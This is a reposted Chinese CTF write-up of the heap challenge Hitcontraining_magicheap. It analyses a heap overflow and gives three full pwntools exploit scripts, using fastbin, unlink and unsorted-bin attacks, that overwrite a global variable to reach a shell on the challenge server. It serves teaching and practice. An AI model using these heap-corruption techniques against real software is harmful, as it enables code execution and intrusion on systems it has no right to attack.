Hitcontraining_magicheap

admin 2026-01-27 00:22:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析CTF题目Hitcontraining_magicheap,利用堆溢出漏洞修改magic变量获取shell。作者详解了FastbinAttack、UnlinkAttack及UnsortedBinAttack三种思路,含原理与完整Exploit代码。文章展示了如何通过构造假块及利用双向链表实现任意地址写,是堆漏洞利用的实战教程。 综合评分: 89 文章分类: 二进制安全,CTF


cover_image

Hitcontraining_magicheap

G0t1T G0t1T

看雪学苑

2026年1月26日 17:59 上海

这道题程序跟[ZJCTF 2019]EasyHeap其实是一样的,区别在于前者让magic大于0x1305就可以拿到shell,后者就需要改got表才行,因为最近我刚学了fastbin attack,unlink attack,unsotred attack这三种(后两种攻击都涉及到了双向链表出链的操作)突然发现这道题可以用这三种攻击分别解决,就拿来练练,巩固一下~

  1. 查看保护

先看程序开了哪些保护,开了canary和NX,没有pie,Partial RELRO表明可以修改got表(虽然这题不用改got表)

2. 看源码

main函数

可以看到有一个menu函数

int __fastcall __noreturn main(int argc, constchar **argv, constchar **envp){
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
  {
while ( 1 )
    {
menu();
read(0, buf, 8uLL);
      v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
    }
if ( v3 > 3 )
    {
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
      {
if&nbsp;( (unsigned&nbsp;__int64)magic <=&nbsp;0x1305&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; {
puts("So sad !");
&nbsp; &nbsp; &nbsp; &nbsp; }
else
&nbsp; &nbsp; &nbsp; &nbsp; {
puts("Congrt !");
l33t();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
else
&nbsp; &nbsp; &nbsp; {
LABEL_17:
puts("Invalid Choice");
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
else&nbsp;if&nbsp;( v3 ==&nbsp;1&nbsp;)
&nbsp; &nbsp; {
create_heap();
&nbsp; &nbsp; }
else
&nbsp; &nbsp; {
if&nbsp;( v3 !=&nbsp;2&nbsp;)
goto&nbsp;LABEL_17;
edit_heap();
&nbsp; &nbsp; }
&nbsp; }
}

可以看到是一个菜单题,程序有三个功能,分别是进行创建,编辑,删除操作。

intmenu(){
puts("--------------------------------");
puts(" &nbsp; &nbsp; &nbsp; Magic Heap Creator &nbsp; &nbsp; &nbsp; ");
puts("--------------------------------");
puts(" 1. Create a Heap &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ");
puts(" 2. Edit a Heap &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ");
puts(" 3. Delete a Heap &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ");
puts(" 4. Exit &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;");
puts("--------------------------------");
return&nbsp;printf("Your choice :");
}

create_heap函数

可以看到这个函数会依次遍历heaparray数组,看哪个元素没有分配chunk,找到后,分配一个chunk,chunk大小可以自定义,然后写入内容,注意:heaparray数组的元素存放的是chunk的数据部分的指针。

unsigned&nbsp;__int64&nbsp;create_heap(){
int&nbsp;i;&nbsp;// [rsp+4h] [rbp-1Ch]
size_t&nbsp;size;&nbsp;// [rsp+8h] [rbp-18h]
char&nbsp;buf[8];&nbsp;// [rsp+10h] [rbp-10h] BYREF
unsigned&nbsp;__int64 v4;&nbsp;// [rsp+18h] [rbp-8h]

&nbsp; v4 = __readfsqword(0x28u);
for&nbsp;( i =&nbsp;0; i <=&nbsp;9; ++i )
&nbsp; {
if&nbsp;( !heaparray[i] )
&nbsp; &nbsp; {
printf("Size of Heap : ");
read(0, buf,&nbsp;8uLL);
&nbsp; &nbsp; &nbsp; size =&nbsp;atoi(buf);
&nbsp; &nbsp; &nbsp; heaparray[i] =&nbsp;malloc(size);
if&nbsp;( !heaparray[i] )
&nbsp; &nbsp; &nbsp; {
puts("Allocate Error");
exit(2);
&nbsp; &nbsp; &nbsp; }
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
return&nbsp;__readfsqword(0x28u) ^ v4;
&nbsp; &nbsp; }
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v4;
}

edit_heap函数

这个函数则根据用户输入的索引(从0开始),修改chunk的数据部分,特别的read_input(*(&heaparray + v1), v2);这里写入内容的大小竟然还是自定义的,所以这里可以覆盖其他chunk的内容。

intedit_heap(){
unsignedint&nbsp;v1;&nbsp;// [rsp+0h] [rbp-10h]
char&nbsp;buf[4];&nbsp;// [rsp+4h] [rbp-Ch] BYREF
&nbsp; __int64 v3;&nbsp;// [rsp+8h] [rbp-8h]

printf("Index :");
read(0, buf,&nbsp;4uLL);
&nbsp; v1 =&nbsp;atoi(buf);
if&nbsp;( v1 >=&nbsp;0xA&nbsp;)
&nbsp; {
puts("Out of bound!");
&nbsp; &nbsp; _exit(0);
&nbsp; }
if&nbsp;( !heaparray[v1] )
return&nbsp;puts("No such heap !");
printf("Size of Heap : ");
read(0, buf,&nbsp;8uLL);
&nbsp; v3 =&nbsp;atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v3);
return&nbsp;puts("Done !");
}

delete_heap函数

这里根据索引(从0开始)来free,没啥毛病

intdelete_heap(){
unsignedint&nbsp;v1;&nbsp;// [rsp+8h] [rbp-8h]
char&nbsp;buf[4];&nbsp;// [rsp+Ch] [rbp-4h] BYREF

printf("Index :");
read(0, buf,&nbsp;4uLL);
&nbsp; v1 =&nbsp;atoi(buf);
if&nbsp;( v1 >=&nbsp;0xA&nbsp;)
&nbsp; {
puts("Out of bound!");
&nbsp; &nbsp; _exit(0);
&nbsp; }
if&nbsp;( !heaparray[v1] )
return&nbsp;puts("No such heap !");
free((void&nbsp;*)heaparray[v1]);
&nbsp; heaparray[v1] =&nbsp;0LL;
return&nbsp;puts("Done !");
}

l33t函数

可以看到main函数里还可以设置menu的选项为4869,如果magic大于0x1305就可以执行l33t函数。

可以看到会给一个shell

int&nbsp;l33t()
{
return&nbsp;system("/bin/sh");
}

这道题我们只要让magic>0x1305就可以拿到shell了,有三种方式

第一种方式:使用fasbin attack中的Arbitrary Alloc,利用编辑功能的堆溢出覆盖fasbin的fd指针,使其指向在magic变量低地址方向的fake chunk,从而我们能够申请fake chunk达到修改magic值的目的。

第二种方式:unlink attack,比如我们申请了chunk0和chunk1,利用编辑功能的堆溢出在chunk0数据部分伪造fake chunk,改写chunk1的presize和size中的inuse标志位,从而使得我们可以修改heaparray[0]的内容,实现任意地址写,只要把heaparray[0]改成magic地址,再用编辑功能改写magic即可。

第三种方式:unsortedbin attack,比如我们申请了chunk0,chunk1,chunk2,free(chunk1)时将其放入unsortedbin,我们编辑chunk0利用堆溢出覆写chunk1的bk指针,结合unsotedbin attack(具体原理可以移步https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/),可以实现将任意地址修改为一个很大的值,也就能达到修改magic使其大于0x1305的目的。

分析过程

def&nbsp;allocate(size,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'1')
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(size).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap:")
&nbsp; &nbsp; io.send(payload)
def&nbsp;fill(index,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'2')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(len(payload)).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap : ")
&nbsp; &nbsp; io.send(payload)
def&nbsp;free(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'3')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
def&nbsp;getshell():
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'4869')
&nbsp; &nbsp; io.recv()
&nbsp; &nbsp; io.interactive()

先写下交互

思路一:fastbin attack

allocate(0x60,b'aaa')&nbsp;#chunk0
allocate(0x60,b'aaa')&nbsp;#chunk1
free(1)

首先申请两个chunk,再回收chunk1,此时fd指针为null

#magic = 0x00000000006020A0
payload = b'a'*0x68 + p64(0x71) + p64(0x60208d)&nbsp;#修改chunk1的fd指针指向我们fake chunk:0x60208d
fill(0,payload)

先观察下magic附近,可以分配到0x60208d这个地方,这个fake chunk跟magic偏移是0x3,size是0x7f,符合fastbin要求,也能修改magic值。

allocate(0x60,b'aaa')#分配chunk1
allocate(0x60,b'\xFF'*0x8)#分配fake chunk,就能修改magic值了

最后就是发送4689拿shell了

思路二:unlink attack

heaparray = 0x6020C0
magic = 0x6020A0
allocate(0x60,b'aaa')&nbsp;#chunk0
allocate(0x80,b'aaa')&nbsp;#chunk1

先申请两个chunk

payload = p64(0)&nbsp;# fake chunk的presize
payload += p64(0x20)&nbsp;# fake chunk的size
# FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查
payload += p64(heaparray - 0x18)&nbsp;# fake chunk的fd,即&heaparray[0]-0x18
payload += p64(heaparray - 0x10)&nbsp;# fake chunk的bk,即&heaparray[0]-0x10
payload += p64(0x20)&nbsp;# 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload = payload.ljust(0x60,b'a')
payload += p64(0x60)&nbsp;# chunk1的presize
payload += p64(0x90)&nbsp;# chunk1的size,这里主要把inuse标志位改成0,这样free时就能触发unlink
fill(0,payload)&nbsp;# 写入payload

构造fake chunk,修改chunk1的presize和size

free(1)# 触发unlink

接着free chunk1就会触发unlink,heaparray[0]指向的是&heaparray[0]-0x18的位置。

payload = b'a'*0x18 + p64(magic)
fill(0,payload)
fill(0,p64(0xdeadbeaf))

我们可以实现任意地址写了,但是我们把heaparray[0]改成magic地址就行了。

再改magic值

最后就是输入4869得到shell

思路三:unsortedbin attack

magic&nbsp;=0x6020A0
allocate(0x60,b'aaa') #chunk0
allocate(0x80,b'aaa') #chunk1
allocate(0x80,b'aaa') #chunk2
free(1)

首先申请三个chunk,free chunk1

payload = b'a'*0x68
payload += p64(0x90)&nbsp;# chunk1的size
payload += p64(0)&nbsp;# chunk1的fd
payload += p64(magic - 0x10)&nbsp;# chunk1的bk
fill(0,payload)&nbsp;# 写入payload

利用堆溢出覆盖chunk1的bk指针

allocate(0x80,b'aaa')&nbsp;#触发unsorted bin的unlink

接着就是触发unlink,把magic值改成较大值了,这里的值其实就是上面的main_arena+88,具体可以看unsortedbin attack原理,这里就不赘述了,这个值通常也可以用来泄露libc基址。

最后就是输入4869得到shell

EXP-1-fastbin attack

from&nbsp;pwn&nbsp;import&nbsp;*
context(arch =&nbsp;'amd64',os =&nbsp;'linux',log_level =&nbsp;'debug')
#io = process('./magicheap')
io=remote("node5.buuoj.cn",28312)
#gdb.attach(io,'b *0x400CD6')
def&nbsp;allocate(size,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'1')
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(size).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap:")
&nbsp; &nbsp; io.send(payload)
def&nbsp;fill(index,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'2')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(len(payload)).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap : ")
&nbsp; &nbsp; io.send(payload)
def&nbsp;free(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'3')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
def&nbsp;getshell():
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'4869')
&nbsp; &nbsp; io.recv()
&nbsp; &nbsp; io.interactive()
#pause()
allocate(0x60,b'aaa')&nbsp;#chunk0
allocate(0x60,b'aaa')&nbsp;#chunk1
free(1)
#magic = 0x00000000006020A0
payload =&nbsp;b'a'*0x68&nbsp;+ p64(0x71) + p64(0x60208d)&nbsp;#修改chunk1的fd指针指向我们fake chunk:0x60208d
fill(0,payload)
allocate(0x60,b'aaa')#分配chunk1
allocate(0x60,b'\xFF'*0x8)#分配fake chunk,就能修改magic值了
getshell()

EXP-2-unlink attack

from&nbsp;pwn&nbsp;import&nbsp;*
context(arch =&nbsp;'amd64',os =&nbsp;'linux',log_level =&nbsp;'debug')
#io = process('./magicheap')
io=remote("node5.buuoj.cn",28312)
#gdb.attach(io,'b *0x400CD6')
def&nbsp;allocate(size,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'1')
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(size).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap:")
&nbsp; &nbsp; io.send(payload)
def&nbsp;fill(index,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'2')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(len(payload)).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap : ")
&nbsp; &nbsp; io.send(payload)
def&nbsp;free(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'3')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
def&nbsp;getshell():
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'4869')
&nbsp; &nbsp; io.recv()
&nbsp; &nbsp; io.interactive()
#pause()
heaparray =&nbsp;0x6020C0
magic =&nbsp;0x6020A0
allocate(0x60,b'aaa')&nbsp;#chunk0
allocate(0x80,b'aaa')&nbsp;#chunk1
payload = p64(0)&nbsp;# fake chunk的presize
payload += p64(0x20)&nbsp;# fake chunk的size
# FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查
payload += p64(heaparray -&nbsp;0x18)&nbsp;# fake chunk的fd,即&heaparray[0]-0x18
payload += p64(heaparray -&nbsp;0x10)&nbsp;# fake chunk的bk,即&heaparray[0]-0x10
payload += p64(0x20)&nbsp;# 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload = payload.ljust(0x60,b'a')
payload += p64(0x60)&nbsp;# chunk1的presize
payload += p64(0x90)&nbsp;# chunk1的size,这里主要把inuse标志位改成0,这样free时就能触发unlink
fill(0,payload)&nbsp;# 写入payload
free(1)# 触发unlink
payload =&nbsp;b'a'*0x18&nbsp;+ p64(magic)
fill(0,payload)
fill(0,p64(0xdeadbeaf))
getshell()

EXP-3-unsortedbin attack

from&nbsp;pwn&nbsp;import&nbsp;*
context(arch =&nbsp;'amd64',os =&nbsp;'linux',log_level =&nbsp;'debug')
#io = process('./magicheap')
io=remote("node5.buuoj.cn",28312)
#gdb.attach(io,'b *0x400CD6')
def&nbsp;allocate(size,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'1')
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(size).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap:")
&nbsp; &nbsp; io.send(payload)
def&nbsp;fill(index,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'2')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.send(str(len(payload)).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap : ")
&nbsp; &nbsp; io.send(payload)
def&nbsp;free(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'3')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.send(str(index).encode())
def&nbsp;getshell():
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'4869')
&nbsp; &nbsp; io.recv()
&nbsp; &nbsp; io.interactive()
#pause()
magic =&nbsp;0x6020A0
allocate(0x60,b'aaa')&nbsp;#chunk0
allocate(0x80,b'aaa')&nbsp;#chunk1
allocate(0x80,b'aaa')&nbsp;#chunk2
free(1)
payload =&nbsp;b'a'*0x68
payload += p64(0x90)&nbsp;# chunk1的size
payload += p64(0)&nbsp;# chunk1的fd
payload += p64(magic -&nbsp;0x10)&nbsp;# chunk1的bk
fill(0,payload)&nbsp;# 写入payload
allocate(0x80,b'aaa')&nbsp;#触发unsorted bin的unlink
getshell()

#

看雪ID:G0t1T

https://bbs.kanxue.com/user-home-1002337.htm

*本文为看雪论坛优秀文章,由 G0t1T 原创,转载请注明来自看雪社区

往期推荐

逆向分析某手游基于异常的内存保护

解决Il2cppapi混淆,通杀DumpUnityCs文件

记录一次Unity加固的探索与实现

DLINK路由器命令注入漏洞从1DAY到0DAY

量子安全 quantum ctf Global Hyperlink Zone Hack the box

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 G0t1T G0t1T《Hitcontraining_magicheap》

评论:0   参与:  0